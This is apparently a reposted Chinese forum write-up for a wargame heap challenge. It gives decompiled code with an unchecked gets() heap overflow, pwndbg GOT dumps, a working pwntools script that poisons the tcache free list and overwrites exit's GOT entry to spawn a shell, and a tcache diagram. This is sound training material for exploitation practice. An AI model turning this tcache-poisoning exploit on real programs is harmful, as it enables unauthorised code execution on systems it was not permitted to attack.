WarGame-heap0 解题思路
2019-11-04 20:54:35 Author: bbs.pediy.com(查看原文) 阅读量:172 收藏

[原创]WarGame-heap0 解题思路

6天前 427

Heap0伪代码如下:

int win()
{
  return system("/bin/sh");
}

int menu()
{
  puts("1) Create chunk");
  puts("2) Free chunk");
  puts("3) Show chunk");
  return puts("4) Exit");
}

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rsi@1
  const char *v4; // rdi@1
  void *v5; // ST08_8@9
  signed int v6; // eax@9
  int v7; // [sp+4h] [bp-1Ch]@11
  int v8; // [sp+14h] [bp-Ch]@6
  int v9; // [sp+18h] [bp-8h]@2
  signed int v10; // [sp+1Ch] [bp-4h]@1

  v3 = 0LL;
  v4 = (const char *)stdout;
  setvbuf(stdout, 0LL, 2, 0LL);
  v10 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu(v4, v3);
      v9 = ((int (*)(void))get_int)();
      if ( v9 != 1 )
        break;
      if ( v10 > 99 )
      {
        puts("Too many chunks created");
        exit(1);
      }
      puts("Size of the chunk:");
      v8 = get_int("Size of the chunk:");
      if ( v8 > 0 && v8 <= 4096 )
      {
        v5 = malloc(v8);
        printf("Content: ");
        gets(v5);
        v3 = (unsigned int)v10;
        v4 = "Chunk ID: %d\n";
        printf("Chunk ID: %d\n", (unsigned int)v10);
        v6 = v10++;
        chunks[v6] = v5;
      }
      else
      {
        v4 = "Invalid size";
        puts("Invalid size");
      }
    }
    if ( v9 == 2 )
    {
      puts("Chunk id:");
      v7 = get_int("Chunk id:");
      if ( v7 >= 0 && v7 < v10 && chunks[v7] )
      {
        v4 = (const char *)chunks[v7];
        free((void *)v4);
        chunks[v7] = 0LL;
      }
      else
      {
        v4 = "No chunk with that id";
        puts("No chunk with that id");
      }
    }
    else if ( v9 == 3 )
    {
      v4 = "Not implemented";
      puts("Not implemented");
    }
    else
    {
      if ( v9 == 4 )
      {
        puts("Bye");
        exit(0);
      }
      v4 = "Invalid choice";
      puts("Invalid choice");
    }
  }
}

如题所示,只要运行win函数就可获得shell,而这题要学一种新的漏洞:堆溢出,因为这题所用到的堆不需要很大很多,所以都由tcache分配,故不考虑其他情况;堆溢出因为只能造成任意地址写,并不能控制EIP,所以我此次要攻击的是GOT表的内容,通过修改GOT表指向的函数地址,然后由程序调用指定函数,从而达到间接控制EIP的目的,查看GOT表和函数地址如下:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r--p     1000 0      /home/gavin/warGame/heap/heap0
          0x401000           0x402000 r-xp     1000 1000   /home/gavin/warGame/heap/heap0
          0x402000           0x403000 r--p     1000 2000   /home/gavin/warGame/heap/heap0
          0x403000           0x404000 r--p     1000 2000   /home/gavin/warGame/heap/heap0
          0x404000           0x405000 rw-p     1000 3000   /home/gavin/warGame/heap/heap0
    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000 0      
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7fdb000     0x7ffff7fdd000 rw-p     2000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> telescope 0x404000 0x405000
00:0000│   0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 0x1
01:0008│   0x404008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe170 ◂— 0x0
02:0010│   0x404010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7dec680 (_dl_runtime_resolve_xsave) ◂— push   rbx
03:0018│   0x404018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x401036 (free@plt+6) ◂— push   0 /* 'h' */
04:0020│   0x404020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x401046 (puts@plt+6) ◂— push   1
05:0028│   0x404028 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x401056 (system@plt+6) ◂— push   2
06:0030│   0x404030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x401066 (printf@plt+6) ◂— push   3
07:0038│   0x404038 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0x401076 (getchar@plt+6) ◂— push   4
08:0040│   0x404040 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0x401086 (gets@plt+6) ◂— push   5
09:0048│   0x404048 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x401096 (malloc@plt+6) ◂— push   6
0a:0050│   0x404050 (_GLOBAL_OFFSET_TABLE_+80) —▸ 0x4010a6 (setvbuf@plt+6) ◂— push   7
0b:0058│   0x404058 (_GLOBAL_OFFSET_TABLE_+88) —▸ 0x4010b6 (__isoc99_scanf@plt+6) ◂— push   8
0c:0060│   0x404060 (_GLOBAL_OFFSET_TABLE_+96) —▸ 0x4010c6 (exit@plt+6) ◂— push   9 /* 'h\t' */
0d:0068│   0x404068 (data_start) ◂— 0x0
... ↓
10:0080│   0x404080 (stdout@@GLIBC_2.2.5) —▸ 0x7ffff7dd0760 (_IO_2_1_stdout_) ◂— 0xfbad2084
11:0088│   0x404088 (completed) ◂— 0x0
... ↓
pwndbg> info functions 
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  free@plt
0x0000000000401040  puts@plt
0x0000000000401050  system@plt
0x0000000000401060  printf@plt
0x0000000000401070  getchar@plt
0x0000000000401080  gets@plt
0x0000000000401090  malloc@plt
0x00000000004010a0  setvbuf@plt
0x00000000004010b0  __isoc99_scanf@plt
0x00000000004010c0  exit@plt
0x00000000004010d0  _start
0x0000000000401100  _dl_relocate_static_pie
0x0000000000401110  deregister_tm_clones
0x0000000000401140  register_tm_clones
0x0000000000401180  __do_global_dtors_aux
0x00000000004011b0  frame_dummy
0x00000000004011b2  win
0x00000000004011c5  menu
0x00000000004011fc  get_int
0x0000000000401237  main
0x0000000000401430  __libc_csu_init
0x0000000000401490  __libc_csu_fini
0x0000000000401494  _fini

表中有一个exit函数,从伪代码中可以得到,只要将exit函数地址修改为win函数地址,然后在菜单中选择退出,就可以执行win函数从而得到shell,攻击脚本如下(注意看脚本中的注释):

from pwn import *

sh=process('./heap0')
def creat(size,data):
    sh.recvuntil('4) Exit')
    sh.sendline('1')
    sh.recvuntil('Size of the chunk:')
    sh.sendline(str(size))
    sh.recvuntil('Content: ')
    sh.sendline(str(data))

def free(ID):
    sh.recvuntil('4) Exit')
    sh.sendline('2')
    sh.recvuntil('Chunk id:')
    sh.sendline(str(ID))

creat(10,'1111')
creat(10,'2222')
free(1)			#tcache是后进先出的数据结构,所以释放的时候顺序是反的
free(0)			#我尝试过只创建一个chunk,虽然溢出了但是并不能做到任意位置写,有没有大佬出来解释下
payload=cyclic(0x18)+p64(0x61)+'\x60\x40\x40'
creat(10,payload)			#执行堆溢出的chunk,需要将0x404060指向win函数所在位置
creat(10,'abcd')			#在创建这个chunk的时候溢出已经发生了,fd指针已经被修改到exit函数的位置
creat(10,'\xb2\x11\x40')		#这个chunk将本来指向exit函数的指针修改为指向win函数
sh.interactive()

这里提一下堆内存分配时的规则,每个堆分配的时候都是一个0xf(16),当我们申请了10字节(0xa)事实上是0xa+0x8个字节(fd指针的4个,还有四个的值一直都是0,有没有大佬出来解释下),因为大于0x10所以系统分配了0x20字节的内存(现在看懂了cyclic(0x18)的原因了吧),因为堆利用的时候不好理解,所以我还找了个图(非常感谢semchapeu的耐心帮助O(∩_∩)O):

init
------------
Tcache: empty
Chunk A
Chunk B
------------
free(B)
------------
Tcache: B
Chunk A
Freed B
------------
free(A)
------------
Tcache: A -> B
Freed A
Freed B
------------
create chunk C
------------
Tcache: B
Chunk C
Freed B
------------
用chunk C 覆盖已释放的chunk B中 fd 指针指向的位置
------------
Tcache: B -> Evil
Chunk C
Freed B
------------
create chunk D
------------
Tcache: Evil
Chunk C
Chunk D
------------
申请的下一个chunk就可以任意位置写了

小结

因为我和管理员的关系不错,所以他把还没上线的heap游戏先给我了,所以你们看到的是还没上线的堆溢出游戏的抢先体验版O(∩_∩)O哈哈~

附件是这个级别的游戏所需要的glibc版本,如果版本太低的话,附件里还提供了docker文件

[公告][征集寄语] 看雪20周年年会 | 感恩有你,一路同行


文章来源: https://bbs.pediy.com/thread-255284.htm
如有侵权请联系:admin#unsafe.sh